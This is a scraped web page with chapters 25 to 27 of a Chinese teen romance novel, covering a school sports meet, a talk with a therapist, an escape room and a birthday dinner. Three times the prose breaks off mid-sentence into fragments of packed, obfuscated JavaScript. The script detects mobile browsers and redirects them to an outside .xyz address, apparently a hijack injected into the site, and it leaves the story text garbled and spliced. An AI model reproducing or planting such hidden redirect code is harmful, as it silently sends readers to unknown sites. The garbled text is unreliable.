l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419633|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着不知何时出现在身旁的他。 广播通知参加男子3000米的同学请准备。 “那边位置绝佳,视野很好。”宋不辞仿佛能看穿她的心思,说着,他取下链条,将两枚戒指戴在指节上。 姜知幻摊开手,说:“链条,我帮你保管,怎么样?” “正有此意。”宋不辞把银链放到她手心里。 姜知幻起身,在下一个搭讪者赶来之前走人。 广播站设在主席台,两边各立了块牌子,写着“闲杂人等,禁止入内”八个大字。据说是因为来找温玉的人太多,不得不出此下策。 “看见这堆加油稿了吧,挑选质量最好的给我。”大概是知道她为什么来,温玉没客气,直接安排任务。 姜知幻是借温玉的职位之便进来的,既然想要在这里待,理应做点事,要不然容易落人口舌,连带也会给温玉带去负面评价。 “好。” 姜知幻将银链绕两圈戴在手腕上,便坐下认真筛选。 暂时没稿子念,温玉就跟其他成员商量待会放什么歌。 其他成员表示:“曲库已被掏空。” “姜同学,你有推荐的吗?”温玉划拉着手机屏幕,询问。 姜知幻挑出一张加油稿放到他面前,闻言,思索了下,“男子三千米什么时候开始?” 问题说出的两秒内,温玉没吱声,第三秒时,他打了个清脆的响指,伴随一声枪响。 温玉的目光离开手机屏幕,他抬起头,下巴往跑道上扬了下,说:“现在。” 姜知幻看着跑道上蓝白身影,位置不前不后,倒是有个人紧跟着他,两人之间的距离不过一两步。 “全邈?”她仔细看着那个人,喃喃。 温玉瞅她一眼,“歌名?” “不是。”姜知幻说,“我可以先预定一首歌吗?” 温玉了然一笑,“可以,你先告诉我歌名。” “soldout.”姜知幻说完,低头,继续选加油稿。 温玉:“你不看看吗?” “看不看,结果都一样。” 他是第一名。 温玉勾了勾唇,不置可否。 期间,吴回舟带着相机来巡查,看广播站这边的工作干的怎么样。 歌是在宋不辞跑最后一圈突然加速时放的,一直紧咬他的全邈有些体力不支,根本追不上,只能眼睁睁地看着他拿下第一名。 姜知幻挑完加油稿,起身,笑盈盈地对吴回舟说:“吴老师,我知道一种构图技巧,用这个方法拍出的照片特别好看。” 温玉若有所思地看了看她。 吴回舟一听,顿时兴致盎然,确信不疑地把相机给姜知幻,让她示范。 “你看,就是这样。”姜知幻调好参数,举起相机,将镜头对准跑道终点的方向,故作高深道。 温玉掐时间点掐得刚刚好,高潮部分响起时,宋不辞拿下一场毫无悬念的胜利。 “I''msoldout (我无畏向前) I''mnolongerliving (我不再) Justformyself (只为自己而活) RunningafterJesus (我会义无反顾全心全意) Withmywholeheart (追随心底的信仰)” 许是注意到广播站这边的情形,宋不辞右手举过头顶,比了个“V”字手势。 Victory 少年站在红色跑道上,姿态肆意悠闲,慢慢往后退了两步。两根指节上的戒指在阳光的照射下,熠熠闪光。 他面向全邈,嘴角微勾,笑意似讽若嘲,眼里透着毫不掩饰的轻傲。 远处的全邈看见宋不辞做了个无声的口型。 ——Loser 简单几个举动,将张扬不羁表现到了极致。 台上的姜知幻放下相机,对吴回舟说:“这叫中心构图,将人物放置中心,凸出主体。” “中心构图……”吴回舟看着她刚拍的几张照片,连连点头,“确实好看。” … 两天运动会迎来尾声。 主席台下,吴回舟看姜知幻两手空空,问:“你的演讲稿呢?” 光顾着研究相机,忘了这茬。 “记着的。”姜知幻答。 “脱稿?”吴回舟拍拍她的肩,一脸赞许,“态度认真,学风踏实,不错不错。” 听到主持人叫自己上台,姜知幻眼角翘起,小声对他说:“吴老师,提醒一下,你当初没要求演讲稿要写多少字。” 吴回舟的笑容瞬间凝固。 姜知幻已经走上台,面对底下上千人汇聚过来的目光,淡然处之。她开口,中规中矩的模式化开头,“尊敬的领导,敬爱的老师,亲爱的同学们,大家好。” 头顶烈阳忽然消失,晴天转阴,感觉温度都凉了两分。大家因突变的天气,纷纷仰头。 姜知幻不为所动,自顾自说着演讲稿里经常出现的套话。将要讲完时,阳光又一点点地从云层中拨出间隙,蹦出,再次洒落到每个人身上。 大家都忍不住跟身边朋友讨论这阴晴不定的天气。 “那最后,”姜知幻慢悠悠地说出三个字,停顿了下,看着台下,视线掠过人影憧憧,就那样巧合地跟某人对上了。 她薄唇轻启,续上刚才的话,清亮冷淡的声音传遍整个三中,“便借这生生不息的光亮,共同欣赏我们热烈而招摇的青春。谢谢。” 台下掌声雷动。 宋不辞望着台上结束发言的少女,穿着是鲜明的红,浅笑自信而夺目。 我们热烈而招摇的青春啊,风光无限。 26. Chase 近两天的气温反复无常,有些同学特地在学校备了件外套。 轰轰烈烈的运动会已成过去式,又迎来一次周考,结果令人意外,也在情理之中。 第一名:夏闲 第二名:宋不辞 第三名:姜知幻 总分都咬得很紧,谁也不能说谁更厉害。只是这种有天赋又努力的人,在补习班里竟有三个,仿佛被一股无形的压力笼罩,其他同学或多或少都有点羡慕嫉妒恨。 学疯了的生物课代表甚至想扒开三人的脑袋看看,到底是个怎样的构造。 政治课代表把他按住,“你这属于谋杀,别做傻事。” 宋不辞陪他们闹,“没事你放手,他追不上我,我们江湖中人都会轻功。” 于是,生物课代表盯上了他前面那位趴在桌上补觉的少侠。 “上吧,勇士。”温玉起身,贴心地让开一条道。 幼稚鬼。 姜知幻心里吐槽,却是跟着一起笑。 总的来说,班内氛围还算不错。关顺专门拿班会课给大家做心理疏解,其实就是灌心灵鸡汤。 暖暖的,很贴心。 “焦虑是短暂的,每人都有独属于自己的人生路,不必妄自菲薄,一步一个脚印踏踏实实走下去,底气自己给,困难自己扛。无论这条路好与不好,有意义或无意义,所得体验都是一种幸运。” “冥冥之中,自有定数。” “在我心里,我们补习班的每位同学都很棒,每个人都是第一名。” 夸奖使人愉悦,有一位同学因为憋不住而笑出声,后面就会跟着响起一片笑声。 关顺大发慈悲,为了让大家能好好放松一下,后面的时间允许大家小声聊天,想听歌的同学可以自行上台点歌。 有人点了温玉的歌,电子白板上放着他的MV,节奏躁起来时,大家边哼着音乐边看向温玉。 还有同学直呼:“闻大歌手,什么时候出新歌?” 温玉笑笑没说话,食指抵在唇前,表示保密。 一天就这么欢欢乐乐地过去了。 放假那天正好是范洋的生日,他爱热闹,把平时那些关系较好的朋友都叫上。说是下午玩密室逃脱,晚上吃火锅,并财大气粗道,所有费用他出。 冯潇潇调侃他是地主家的傻儿子。 不过范洋确实是小资家庭,成绩好又是独生子,家里人把所有的宠爱都给了他。 “老宋夏哥,我生日你们不来可说不过去了啊。”放学铃一响,范洋就跑到两人面前,摆出不容拒绝的强硬姿态,又看向姜知幻,“幻姐,你来吗?冯潇潇她们都要来。” 姜知幻在收拾东西,待会要去见崔医生。闻言,她动作不停,问了下具体时间。 “明天下午两点半,你要来的话咱俩加个好友,待会儿我把你拉进群。”范洋说着,掏出手机。 两人顺理成章地加上好友。 “你俩必须来啊,我已经把你们拉进去了。”范洋对宋不辞和夏闲说。 夏闲比了个“OK”的手势。 宋不辞低着头,在跟人发消息,“介意我多带一个人吗?他的费用他自己自付。” “老宋你这就见外了,多一个人而已,没必要。”范洋摆摆手,笑得贱兮兮地问,“你要带谁,女朋友?” 刚要走人的姜知幻看了宋不辞眼。 “无中生有啊你,我什么时候谈过?连我自己都不知道。”宋不辞收起手机,丢给他一句摸不着头脑的话,“我的免死金牌。” 而后,他背上书包,对姜知幻说:“一起?” “不了,我有事儿。”姜知幻说完,起身离开。 “好。”宋不辞重新坐了回去,“路上小心。” 范洋还在琢磨宋不辞那句话什么意思,无意间跟温玉对上眼,他嗫嚅了下嘴唇,不知该不该开口。 范洋跟宋不辞和夏闲的关系不错,但温玉这人,讲真,没那么好接近,他和他顶多算个普通同学情。 兴许是看出范洋的犹豫,温玉主动开口:“你想邀请我吗?” 范洋一拍大腿,“当然想。” 明星来参加他的生日,多有面啊。他明天出门都得横着走。 “行,明天我跟他们一起。”温玉说。 宋不辞揶揄道,“你小子,平时我和夏闲都约不到,今天怎么这么好约?” 范洋一听,惊讶之余更多的是欢喜。 他拍拍温玉的肩,说:“好兄弟,这么给我面子,明天一定给你安排最热门的密室主题!” … 外面阴云密布,风雨欲来。 姜知幻到达目的地,她推开包房门,映入眼帘的除了崔医生,还有一位中老年男性。 高高瘦瘦,穿戴干净,头发永远打理得整齐,没有丝毫凌乱。哪怕两鬓已有银白痕迹,深深浅浅的皱纹爬上眼角,整个人依旧神采奕奕。 他笑起来慈祥,说话也和和气气的:“小知来啦。” “陈叔,你怎么来了?”姜知幻目露欣喜。 陈百臻佯装不悦,“原来认识我这个小老头,还以为你把我微.信拉黑了呢。” “陈叔,对不起嘛,我保证不会有下次了。”姜知幻她笑得讨巧,让人不忍说重话。 “你呀,惯会撒娇卖乖。”崔苏木说。 姜知幻:“苏木姐,看破不说破嘛。” 其他两人开怀大笑。 陈百臻此次前来,主要是想见一下姜知幻的状态。好歹是看着长大的孩子,总归是有些挂念。 三人好好吃了顿饭,陈百臻没多留,叮嘱姜知幻不要装死不回消息,否则他就跟傅琳告状。 姜知幻哭笑不得,“……好。” 陈百臻离开后,崔苏木带姜知幻去附近的公园散散步,消消食。两人有一搭没一搭地聊着,就像老朋友之间互相了解近况。 话里话外都没有要给姜知幻做心理疏导的意思。 把姜知幻送回住处,崔苏木只说了句“早点睡”便打算走人。 “苏木姐。”姜知幻叫住了她。 崔苏木回身,路灯薄薄的光晕覆在她身上,为她沉稳的气质平添几分温文,有着安定人心的力量。似乎只要她静静地看着你,倾诉欲便自然而然地冒出来了。 姜知幻说:“我们聊聊吧。” “好。”崔苏木微笑道。 她最头疼的患者,第一次主动向她提出要聊一聊。 “小知,说说你最近的问题吧。”崔苏木坐在沙发上,喝了口水,很快进入正题。 姜知幻将手机放置茶几上,娓娓道来:“我最近喜欢上了一个人。” 崔苏木愣了下,真是出乎意料的开场白。姜知幻什么时候诉说过自己的情感问题?从未。 她安静聆听,可姜知幻却盯着虚空某处,一言不发。 像走神,又像沉思。 时间一分一秒地流逝,整个客厅落针可闻。 良久,崔苏木才开口引导:“是个怎样的人?” “是一个,”姜知幻说到这里,忽地笑了下,“让我一眼看见就想永远困住的人。” 崔苏木看得出来,她现在已经完全陷入自己的情绪里。 “我总是想抓住他。” “看见别人跟他有任何肢体接触就容易生气,恨不得把他关在一个只有我知道的地方。” “尤其是他每次顺着我时,我就更想得寸进尺。” “可这样做是错的。” 姜知幻整个人平静如水,尚处于不悲不喜的状态,语气听起来却愈发难受。 “可这样做是错的。”她垂着头,声音放得很低,重复喃喃了遍。 “恋爱应该是健康积极的,所以我是打算循环渐进地发展,但好像弄巧成拙了。” “我既没有控制好自己的情绪,还无端迁怒于他。” “苏木姐,我的病是不是越来越严重了?”她闭了闭眼,头一次流露出心累与疲惫的神色。 崔苏木眉头紧锁,看着眼前这个认识了五年的小姑娘。从一开始不觉得自己有病、拒绝交流,到后来稍微妥协、从众多问题中,只挑一两个作答。 这也正是她头疼的点,因为姜知幻一点也不愿意敞开心扉。 所以,崔苏木至今还不知道病症产生的原因。 她没有正面回答,而是问:“他像什么?” “像什么?”姜知幻的眼珠缓慢地转了下,脑中自动浮现出少年站在光影交错处的画面,她反问,“苏木姐,你知道透过枝叶缝隙的阳光吧?” 崔苏木点点头。 “他就像这个。” 崔苏木笑笑,说:“很浪漫的比喻,看来他在你心里应该是个很美好的人。” 姜知幻没回应,她眼神涣散,注意力开始变得飘忽不定。 “所以,你是害怕他知道你那些不好的想法吗?”崔苏木问。 姜知幻咽了咽嗓,轻“嗯”一声,闷闷道:“苏木姐,我的病……会好吗?” 她指腹不安地摩挲着手背,样子看起来就像个犯错后束手无策的孩子。 在崔苏木眼里,她本来也就是个孩子。 “当然能,只要你积极配合。”崔苏木毫不犹豫地回,同时内心不禁涌起一丝酸楚。 这一个多月里她到底经历了什么? 姜知幻抿了抿嘴唇,凝视手机半晌,突然直起身,说出的话仿若丢出了一个手榴弹,在崔苏木脑中轰然炸开。 “苏木姐,我怀疑我有精神分裂。” - 隔天上午。 姜知幻起了个大早,去了趟望庭。在等电梯的空档,她下意识抬手扎头发,但不知想到什么,转而垂手,任头发披散下来。 最近跟周知敏通话,她答话老心不在焉的,以前三句不离“来看看外公外婆”,现在三句中,两句都用来问“最近感觉怎么样”,实在有点一反常态。 傅女士到底跟他们说了什么? 问题无解。 周知敏和傅凌杰见到她时依然关怀备至。但与从前不同的是,两人对于她的披头散发和懒散姿态没再纠正,吃饭时手机响了,她拿起来看也没被制止,连经典口头禅“为了你好”的出频率都变成了0。 太奇怪了。 他们眼里认定的那套规矩貌似放宽了。 姜知幻心里存疑,可旁敲侧击没套出任何有用的话。临走时,老两口送她进电梯。 周知敏牵着她的手,说:“有知,天气多变,你要好好照顾自己,注意健康。有什么问题就给外公外婆打电话,好好学习……” 傅凌杰虽没说话,但往她手里塞水果糖。儿时,姜知幻每做对一道题,他就会奖励一颗糖。 变了,又好像没变。 姜知幻走出小区,正这样想着,宋不辞的电话打了过来。 “姜同学,在哪儿。”他问,语气欢愉,隔着屏幕都能感觉到这人的心情很好。 不过宋不辞一向如此,除了开学后的周考显露出过不开心,其他时候嘴角总是散漫地勾着,天生笑脸相。仿佛从他的角度看到的事都不是事,而是乐子。 一个不折不扣的、开朗的幼稚鬼。 这样的人,不应该被忽冷忽热的情绪折磨。 姜知幻泄愤似地踢了脚石子,看一眼四周的标识,报了个位置。 “还挺近。”宋不辞说,“我来接你,最多等五分钟。” 姜知幻踩住石子,停在路边,“好。” 挂断电话后,见前面有家卖烟酒水和零食的小店铺,她抬脚。 … “你不对劲。”宋理枝扭身,狐疑地盯着坐在后座的宋不辞,“你对我说话从来没这么温柔过。” 宋不辞轻飘飘地瞥了他眼,指了下他手里的手机,“玩你的捕鱼达人去。” “他最近是不是在追人?”宋理枝转头看向驾驶位的卓彪,后者专注开车,不搭理。 宋不辞问:“你跟姑姑吵架了?” “没吵。”宋理枝语气郁闷,十分不满,“她最近又看到关于绑架案的新闻,说什么都不让我出门。” 关心则乱。 但姑姑对宋理枝心切的程度,俨然到了一种病态的地步。 宋不辞望着窗外,默了半晌,只说:“少在姑姑面前提我。” 宋理枝无所谓地“哦”了声,态度敷衍,估计又左耳朵进右耳朵出了。他出门其实也不知道要干嘛,只是单纯想远离那些对他过度溺爱的人罢了,所以才找上宋不辞。 这个对他有求必应,却从不瞎惯着他的表哥。 “到了。”卓彪说。 宋不辞一眼就注意到了姜知幻,格纹衬衫配工装裤,脚踩匡威。她双手插兜,倚靠路灯杆,视线定在一家店铺前的两位大爷身上,久久没有挪开。 隐约听见骂街声。 宋不辞不确定地下了车,那些不和谐的话语顿时清晰地钻入他耳中。 两位大爷互指对方,唾沫横飞,一个比一个暴躁。 姜知幻嚼着口香糖,饶有兴致地看着,眼底盛满浓浓的探究意味。余光瞥见一道人影过来,她侧头看,随即笑了下,问:“他们在说什么?” 两位大爷骂人用的江城方言,极粗俗的话,语速也快。通篇听下来,姜知幻捕捉到一个“你”字。 “……”宋不辞神色复杂,一言难尽。 姜知幻直勾勾地看着他,一双眼睛亮晶晶的,等待他的回复。 “他们在唱rap呢。”宋不辞说,表情要多正经有多正经。他拉着姜知幻的手臂就要走。 “宝……唔。”姜知幻才说出一个字,嘴就被捂住了。 宋不辞愣了下,失笑,懒散的语气略带央求:“别学了祖宗,这rap可不兴唱。” 俩大爷吵得脸红脖子粗,谁也不肯落下风。看这场面,姜知幻也知道不是什么好话,就是忍不住好奇,听了个大概字音想问他,结果嘴惨遭封印。 直到上车,她意犹未尽地感叹:“你们这儿的方言骂人也太有气势了。” 宋理枝从副驾驶探出个脑袋,笑嘻嘻道:“姐姐好,我是宋不辞的表弟宋理枝,连理枝的理枝。” “你好。”姜知幻浅笑着点头,简单做了自我介绍。 宋理枝用一副“我就知道”的表情看宋不辞。 宋不辞没注意,他微垂目,看着右手手心。 刚捂嘴时,不小心蹭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459170|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了她的嘴唇。 - 一路畅通,准时到达。 姜知幻和宋理枝意外地很聊得来,宋不辞根本都插不进话。 范洋请了十几个人,阵仗颇大,得分两拨进密室。他跟大家商量好,选了最热门的恐怖主题,另一个是现实向浪漫爱情。 “你们想玩哪个主题自己选。”范洋说,“玉兄你怕鬼吗?” 温玉摇头。 “那就恐怖的,说好的把热门主题安排给你。”范洋手握成拳,锤了胸口两下,又指向他。 姜知幻果断选择恐怖主题,宋不辞跟她一样。 冯潇潇和齐思怕鬼,选了第二个。 以防难度大,逃不出来,众人一致决定将两边智商平均。原本选择恐怖的夏闲被分到了爱情,宋不辞还给对方队伍附赠一个宋理枝。 “去吧,组织需要你。”宋不辞义正辞严道。 宋理枝“切”了一声,冲他翻了个白眼,懒得揭穿。 准备就绪,爱情队先进,范洋打头阵,兴奋地嚷嚷了句:“皮皮虾,我们走!” 坐在外面等了十分钟,姜知幻心不在焉地跟韦枫玥聊着天,看看手机,又看看宋不辞,想了想,还是觉得再等等。 但一直等到工作人员通知,她都没和宋不辞说上话。 大家排好队,戴上眼罩,跟随工作人员的引导走进密室。 故事背景在医院,一场突如其来的大火让尘封秘密重见天日。 工作人员将大家带到入口处,并提醒可以摘下眼罩后便离去。 大家陆续摘下眼罩,判断出身处的位置是医院的走廊,光线昏暗,两侧墙面布满斑驳血迹,头顶上的“安全出口”标识断断续续地闪烁着绿光。 低沉诡异的旋律响起,连带四周温度都阴冷了不少。 有人大叫,连忙抓紧旁边同伴寻求安全感。 韦枫玥借微弱的绿光,发现墙壁的文字,她扯了扯姜知幻的衣袖,“知幻,你看。” 姜知幻凑过去,仔细看了会儿,三排文字,写的都是“妈妈,我不想死”,字迹歪歪曲曲,“死”字用拼音代替。 最后一排的文字有所不同,字迹也变了,有些潦草。 ——xx,我做鬼都不会放过你。 “xx”部分被划去,不知道是两个字还是三个字。 有人摸到通往下一关的门,但需要密码。 众人纷纷搜寻,姜知幻抬头,望着安全出口标识,绿光闪烁时停顿的秒数时长时短。 温玉靠着墙,没动。 宋不辞在垃圾桶上找到一张有烧焦痕迹的纸片,上面写着线索,大家纷纷传阅,叽叽喳喳地讨论着。 短命鬼 亮下灯 点燃了自己 长命鬼 亮下灯 横死在走廊 哈哈哈都死了 哈哈哈都反了 “火是短命鬼放的?”秦六佑疑惑出声。 “自焚?那也太疼了吧。” “这应该是首藏头诗。”韦枫玥扶了下眼镜,说,“短亮是点,长亮是横,对应的也许是摩斯密码。” “都死了,都反了……”宋不辞看向安全标识,说出自己的想法,“也有可能长亮是点,短亮是横。” 一直沉默的温玉发话,“共有四段不同旋律的音乐,马上要重头放了。” 在他们讨论时,这四段音乐已经循环播放了两遍。 话音刚落,就听“咔哒”一声。 姜知幻站在门前,对众人说:“开了。” “我靠?我们刚分析完,你就解开了!” “大佬牛逼!” “快走吧快走吧,这里阴森森的,好吓人。” “你刚进来不是说自己不怕吗?” 姜知幻从音乐响起时就有心留意安全标识,并迅速联想到了摩斯密码,她玩过的密室解密十有八九都会用到这东西。 但第一次输入的密码不对,听见宋不辞说的话,立马重新换算。 “密码是啥呀?”有人问。 姜知幻答:“open.” “……” 接下来的关卡有四扇门,大概是想让大家分开,所以故意这样设计。正当考虑如何分配时,走廊里突然窜出一道披头散发的白色人影,疾步朝大家跑来。 “啊啊啊啊啊啊啊啊!” 在一连串破了音的“啊”中,姜知幻抓住旁边人的手腕,推开最近的那扇门。 总算是有单独聊天的机会了。 姜知幻关上门。 “这是……太平间?”宋不辞环顾一圈。 姜知幻拉了下门,纹丝不动。 她刚才没有反锁。 “又得找密码了。”姜知幻嘴上说着,人却没有动作。她的视线跟随着宋不辞的行动轨迹,张了张嘴又闭上。 冷藏柜是空的,停尸床上的尸体是假人,盖着白布。 宋不辞心生无趣,走到姜知幻面前。她抬头跟他对视两秒,别开眼。 一灯如豆,万籁俱寂。 沉静少时,宋不辞低声笑了下,“是我的错觉吗?我总觉得,你有话想对我说。” 好几次看向他的眼神里都写着“欲言又止”四个字。 “……不是错觉。”姜知幻背靠门,回答完后又一声不响。她眉头微皱,似苦恼。 就在宋不辞准备换个话题聊时,右手突然被牵起。 “宋不辞,对不起。” 少女的声音轻而柔,一字一顿道,语气赤诚。她边说,边从裤兜里摸出一样东西,放在他的手心。 宋不辞心尖一颤,整个人完全怔愣在原地,想说话,喉咙却发紧。 姜知幻微抬下巴,看着他的眼睛,“那次我说‘不想跟你待在一起’,这句话不是真心的。” “我没控制好自己的情绪,还迁怒在了你身上。” “这件事不应该一了了之,连句道歉都没有。” “所以,对不起啊,宋不辞。” 她极其认真地重复了遍。 宋不辞看了眼手里的棒棒糖,青柠味,他曾给她的那个牌子。 他握紧糖,看向身前人。 终于将酝酿良久的话说出来了,可姜知幻却没觉得半点放松,反而有些紧张。她耳根发热,忽然转身,背对他。 宋不辞一头雾水。 姜知幻用额头抵着门,自言自语地安慰自己,“傅女士说过犯了错就得道歉,所以道歉不丢人……” 宋不辞情不自禁地勾起唇角,没忍住笑出了声,“姜知幻,你怎么这么可爱。” 他扣住她的肩,把人转了回来,“别面壁思过了。” 姜知幻没好气地瞪了他一眼,所幸尴尬劲儿来得快,去得也快。 “快找线索……” “姜知幻,谢谢你。” 姜知幻不解,“谢谢我?” 我跟你道歉,你不应该说没关系吗? “嗯,谢谢你。”宋不辞说,四周暗沉,他的眼睛却那样亮,看她的眼神温柔,藏着滚烫的情意。 谢谢你的出现,让我再次体会到被在意感受、被照顾情绪、被珍惜的感觉。 27. Chase 天花板的缝隙直冒凉气下来。 “真不冷?”宋不辞一边说着,一边用手背轻碰了下她的手背。 “还好。”姜知幻没什么感觉,心思都在找线索上,她看着停尸床上的假人,问他,“你说,他身上会不会有纸条或者记号之类的?” “你现在也就耳朵比较热,手凉得跟冰棍似的。”宋不辞说的话和她根本不在同频道,他牵起她手就要动身,却被一股反作用力拉住。 宋不辞低头看过去,“怎么了?” “那……”姜知幻微扬下巴看着他,语调拖得极慢。她手腕一转,抓住了他的手臂,这才反客为主道,“要不抱一下?” 嘴上这么说,却是没给他反应的机会,直接抱了上去。 腰被双手环上的那一刻,宋不辞感觉指尖都麻了下,失神须臾,他笑:“抱了又不想负责?别老晾着我啊,姜同学。” “不是。”姜知幻松开手,往后撤了两步,结束这个不到十秒的拥抱,语气挺认真地解释,“那三个字,也不是真心的。” 宋不辞低眉敛目,没说话,只有手在动,将她冰凉的手放入兜里,这是下意识的行为。 因为姜知幻这句话明显有捅破窗户纸的意味,有点突然,以至于他脑子有点乱,在高速运转,但还没理出个头绪,就被一阵砰砰哐哐的敲门声打断。 “里面的人听着,你们已经被包围了,识相的就赶紧找线索解密出来,别让外面的人等太久。” 清冷烟嗓,不是温玉是谁? 经他这么一说,两人发现在太平间里耽误的时间确实有些久了。 “走吧。”姜知幻从他兜里摸到了钥匙,拿出。她把钥匙插入孔,疑惑道,“你什么时候找到的?” “你靠在门上思考。”宋不辞说。 姜知幻回忆了下时间段,所以,他走到自己面前时就已经找到了? “哇,我同桌真厉害。”她赞叹。 宋不辞勾唇,“少来。” “来什么?”门外的温玉见人出来,问。 宋不辞语气闲闲,“听墙角啊你。” 姜知幻注意到站在温玉旁侧的韦枫玥,她勾着脑袋,若有所思地盯着地板,神色有些黯然。 “在想什么?”姜知幻走至她身边,轻声问。 韦枫玥抬头看她,默默无言少时,迟钝地摇了摇头。 “哎,原来耳朵灵也是一种罪。”温玉看宋不辞一眼,“你脸怎么红了?里面很热?” 因他这句话,其他人都看了过来,小声附和道:“还真是。” 宋不辞一时语塞:“……” 红得那么明显吗? 众人将目光转向和他同处一间的姜知幻。 姜知幻先是好奇地看宋不辞的脸,而后笑,十分不走心地解围道:“嗯,是挺热。” 宋不辞:“……” 门被打开的瞬间,感到一股冷气往外涌的温玉扬了扬眉。他偏头,瞧里面的布置。 太平间能热到哪去? … 暮色愈浓,橘黄日落平铺半边天穹,宁静而灿烂。 密室玩完,临近饭点。 范洋预订了个大包房,足以容纳所有人。 一桌人说说笑笑、吵吵闹闹。 “你吃饱了?”姜知幻看了眼几乎没怎么动过筷的韦枫玥,问。 韦枫玥点头,笑道:“等下还要吃蛋糕,不用吃那么饱。” 合情合理的理由并没打消姜知幻的疑虑,但她没多问,朝一个方向扬了扬下巴,说:“番茄丸子汤不错,你可以尝尝。” 准备舀第二碗的冯潇潇闻言,强烈推荐:“真的很好喝,枫玥你要吗?我可以帮你舀。” “谢谢。”韦枫玥把将碗递给她。 “不是我吹,老宋。”范洋看向宋不辞,表情正经。 宋不辞掀起眼皮,看了下他面前杯中的白色液体,“你喝白酒了?” “我这特么是雪碧!”范洋暴躁完,继续刚才的话,声音放低,“据我观察,你弟就跟以前的你一样,妥妥的钢铁直男,找不到女朋友。” 宋不辞与坐在对面的两个男生交换了下眼神,说:“他的确找不到女朋友。” “你怎么回事?从密室逃脱出来后就一直心不在焉的。”范洋压低声音问,“难道你也跟幻姐吵架了?” “也?”宋不辞看着杯里就剩一口的雪碧,同他碰了个杯。 范洋拿起杯子喝了口,说:“我运动会那阵子不是跟冯潇潇闹了点小矛盾嘛,状态就跟你现在这样差不多。” “在意她?”宋不辞问。 范洋毫不犹豫道:“当然,我跟她可是死党!死党你懂吗?比哥们还铁的关系。” 宋不辞意味不明地轻笑一声。 包房内的光霎时熄灭。 “艹,老板没说今天会停电啊?!”范洋猛地抬头看灯,懵逼大叫。 这傻小子。 宋不辞身子微微往他那边斜,小声说了句:“哥们,我很在意姜知幻,是因为我喜欢她。” 范洋惊讶扭头,仿佛吃到了个惊天大瓜,而宋不辞已经站起身。 他愣愣地坐在原位,艰难而迟缓地理解着宋不辞说的那句话。 老宋在意幻姐是因为喜欢? 那我在意冯潇潇…… 黑暗中,有人打开门。 秦六佑和高泰端着插好蜡烛的三层大蛋糕慢慢走进,旁边的人都小心翼翼地拥护。 “Happybirthdaytoyou……”温玉鼓掌,为接下来的合奏起了个头。 整个包间被少年少女们真挚又不着调的歌声充斥。 姜知幻看着蛋糕上的蜡烛,火苗轻轻摇曳,光亮微弱,哪怕看不清所有人的脸,但喜悦表情却能清晰地想象出来。 原来一群人庆生能这么快乐。 范洋暂时将摸不着头脑的问题抛开,他看着越来越近、直至放到面前的蛋糕,很没出息地红了眼眶,“靠,你们什么时候背着我搞这出的?我这么机智敏锐的人居然都没发现。” 众人哈哈大笑。 高泰把生日帽戴到范洋脑门上。 “寿星,趁蜡烛还没燃完,赶紧许愿吧。”冯潇潇说。 范洋十指交叉相握,闭了会儿眼再睁开,深吸一口气,用力吹灭全部蜡烛。 “范洋,生日快乐!” 众人欢呼。 范洋这一米八几的大高个,感动得稀里糊涂,边强忍眼泪,边给大家切蛋糕。 泪水模糊视线,第一刀切歪了。 他看着刀面上满满的奶油,“……” “不愧是寿星,刀路独特,知道我爱吃奶油,特意刮了一层。”宋不辞乐道。 范洋破涕而笑,“你闭嘴,别影响我发挥。” “得令。”宋不辞笑着领了两份蛋糕,递给姜知幻一盘。 范洋特意切了份大的给宋理枝,说他今天动脑最多,辛苦了。 把解密的活全交给宋理枝的懒蛋夏某:“……” 吃完蛋糕,给完礼物,家里门禁比较严的陆续离开。剩下的人跟工作人员要了纸和笔,开始玩狼人杀。 输家选择真心话或大冒险。 包房里待久了觉得闷,姜知幻让大家先玩,她出去透口气。 月明星稀,抬头便可见天边那一弯小巧的银色玉钩。 这家餐厅位于广场处,姜知幻站在店外二楼的长廊上,双臂撑着栏杆。晚风拂过脸颊,温凉如水。 她看着楼下各式各样的小摊小贩和对面热闹非凡的火锅店,生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14494511|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意太好,许多客人都坐在外面。 姜知幻能听见吆喝声和对话声。 “服务员,嘞里再加份毛肚。” “要得。” “冰糖葫芦,又酸又甜诶~” “收冰箱,旧彩电,洗衣机……” 此起彼伏,不绝于耳。 这些参差不齐的声音糅杂在一块儿,竟也不觉得扰耳。 “想吃火锅?”宋不辞不知何时出来了。 姜知幻摇头,目不转睛地盯着下面,说:“突然有点后悔以前没多了解了解这座城市。” 她其实不太喜欢来江城,尤其是随着年龄的增长,这种不喜欢的情感逐渐在放大。所以每次来拜访完两位老人家后,匆匆离去,从未有过多待一秒的念头。 现在静下来好好看看,发现这座城市的市井烟火气息其实很吸引人。就像她身旁的少年。 “想了解?”宋不辞问。 姜知幻低“嗯”了声。 “巧了不是,你想了解江城,我想了解你。”宋不辞背靠栏杆,看了看她,说,“要不,我带你了解这座城市,怎么样?” 姜知幻不答反问,“作为交换,我要做点什么吗?” “我想要你给我个机会。”宋不辞姿态懒懒散散地站着,取下挂在脖子上的银链。 “什么机会?” 